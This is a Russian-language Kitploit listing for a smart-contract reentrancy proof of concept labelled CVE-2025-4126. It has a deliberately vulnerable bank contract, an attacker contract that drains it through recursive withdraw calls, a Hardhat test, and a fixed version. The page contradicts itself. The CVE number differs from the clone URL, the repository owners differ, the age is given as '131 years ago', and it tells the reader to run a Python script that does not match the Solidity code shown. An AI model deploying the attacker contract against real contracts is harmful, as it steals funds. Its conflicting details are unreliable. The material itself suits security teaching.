Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-4126 — POC уязвимости атаки повторного входа в смарт-контракте | Kitploit
Инструменты/GitHubGitHub/slow-mist/cve-2025-4126
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

POC уязвимости атаки повторного входа в смарт-контракте

Репозиторий
131 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

POC-CVE-2025-4126

smart contract reentrancy attack vulnerability 验证

PoC атаки повторного входа на смарт-контракт

Этот репозиторий содержит доказательство концепции (PoC), демонстрирующее уязвимость атаки повторного входа (reentrancy) в Ethereum смарт-контрактах. PoC включает уязвимый смарт-контракт, контракт атакующего и инструкции по воспроизведению атаки в локальной тестовой среде.

Содержание

  • Обзор
  • Описание уязвимости
  • Настройка PoC
  • Запуск PoC
  • Лицензия

Обзор

Повторный вход — распространённая уязвимость в Ethereum смарт-контрактах, при которой внешний контракт может выполнять повторные вызовы исходного контракта до завершения первого вызова, потенциально выводя средства или манипулируя состоянием. Этот PoC демонстрирует, как атакующий может использовать уязвимый контракт для кражи Ether.

Описание уязвимости

Уязвимый контракт (VulnerableBank) позволяет пользователям вносить и выводить Ether. Однако он неправильно обрабатывает обновление состояния перед выполнением внешних вызовов, что делает его подверженным повторному входу. Контракт атакующего () эксплуатирует это, рекурсивно вызывая функцию для опустошения баланса Ether контракта.

Attacker
withdraw

Ключевая проблема

  • Функция withdraw в VulnerableBank отправляет Ether вызывающему до обновления баланса пользователя.
  • Это позволяет контракту атакующего снова вызвать withdraw в своей функции fallback, выводя средства контракта.

Настройка PoC

Для запуска этого PoC вам понадобится:

  • python3.x
  • pip3

Установка и запуск

  1. Клонируйте этот репозиторий:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. Запустите:
    root@kitploit:~
    python3 poc.py
    

Код PoC

Ниже приведены два контракта, используемые в этом PoC:

VulnerableBank.sol

Этот контракт имитирует простой банк, позволяющий вносить и выводить средства, но уязвимый для повторного входа.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Этот контракт использует уязвимость повторного входа, рекурсивно вызывая функцию withdraw.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Тестовый скрипт Hardhat

Включён тестовый скрипт Hardhat для автоматизации симуляции атаки.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Ожидаемый результат

  • Начальный баланс банка: 10 ETH
  • Конечный баланс банка: 0 ETH
  • Баланс атакующего: ~10 ETH (за вычетом газовых сборов)

Меры защиты

Для предотвращения атак повторного входа рассмотрите следующие лучшие практики:

  1. Шаблон «Проверки-Эффекты-Взаимодействия»: Обновляйте состояние (например, балансы) до выполнения внешних вызовов.
  2. Защита от повторного входа: Используйте модификатор (например, ReentrancyGuard от OpenZeppelin) для предотвращения рекурсивных вызовов.
  3. Ограничение газа: Ограничивайте газ, передаваемый внешним вызовам, чтобы усложнить логику повторного входа.
  4. Используйте transfer или send: Эти методы ограничивают газ, снижая риск повторного входа.

Пример исправления для VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Лицензия

Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.

Скачать инструмент